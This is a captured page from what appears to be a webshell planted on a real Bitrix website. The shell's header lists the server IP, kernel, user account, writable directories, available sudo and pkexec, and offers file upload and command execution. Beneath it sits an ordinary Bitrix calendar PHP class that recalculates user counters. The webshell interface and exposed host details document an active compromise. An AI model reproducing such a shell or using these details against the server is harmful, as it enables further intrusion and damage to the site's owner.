403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/calendar/lib/update/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/calendar/lib/update/recalculatecounters.php
<?php

namespace Bitrix\Calendar\Update;

use Bitrix\Calendar\Internals\Counter\CounterService;
use Bitrix\Calendar\Internals\Counter\Event\EventDictionary;
use Bitrix\Calendar\Internals\Log\Logger;
use Bitrix\Main\Update\Stepper;
use Bitrix\Main\UserTable;

/**
 * ReCalculateCounters is the stepper that is supposed to be scheduled manually
 * It will re-calculate old calendar counters and will add missing ones for every active user
 */
final class ReCalculateCounters extends Stepper
{
	private const LIMIT = 50;
	protected static $moduleId = 'calendar';

	private int $lastId;
	private array $users;

	public function execute(array &$option): bool
	{
		$lastId = (int)($option['lastId'] ?? 0);

		$this
			->setLastId($lastId)
			->fillUsers()
		;

		if (!count($this->users))
		{
			return self::FINISH_EXECUTION;
		}

		$this
			->reCalculateCounters()
			->updateLastId()
			->setOptions($option);

		return self::CONTINUE_EXECUTION;
	}

	private function fillUsers(): self
	{
		$this->users = [];

		try
		{
			$this->users = $this->getAllUsers();
		}
		catch (\Exception $exception)
		{
			(new Logger())->log($exception);
		}

		return $this;
	}

	private function reCalculateCounters(): self
	{
		$userIds = [];
		foreach ($this->users as $user)
		{
			$userId = (int)($user['ID'] ?? 0);
			$userIds[] = $userId;
		}

		CounterService::addEvent(EventDictionary::EVENT_ATTENDEES_UPDATED, [
			'user_ids' => $userIds,
		]);

		return $this;
	}

	private function setLastId(int $id = 0): self
	{
		$this->lastId = $id;
		return $this;
	}

	private function updateLastId(): self
	{
		$this->lastId = max(array_map(fn (array $user): int => (int)$user['ID'], $this->users));
		return $this;
	}

	private function setOptions(array &$options): self
	{
		$options['lastId'] = $this->lastId;
		return $this;
	}

	private function getAllUsers(): array
	{
		$query = UserTable::query()
			->setSelect(['ID'])
			->where('ID', '>', $this->lastId)
			->where('ACTIVE', 'Y')
			->where('IS_REAL_USER', 'Y')
			->where('UF_DEPARTMENT', '!=', false)
			->setLimit($this->getLimit());

		return $query->exec()->fetchAll();
	}

	private function getLimit(): int
	{
		$limit = \COption::GetOptionString('calendar', 'calendarReCounterStepperLimit', '');

		return $limit === ''
			? self::LIMIT
			: (int)$limit
		;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit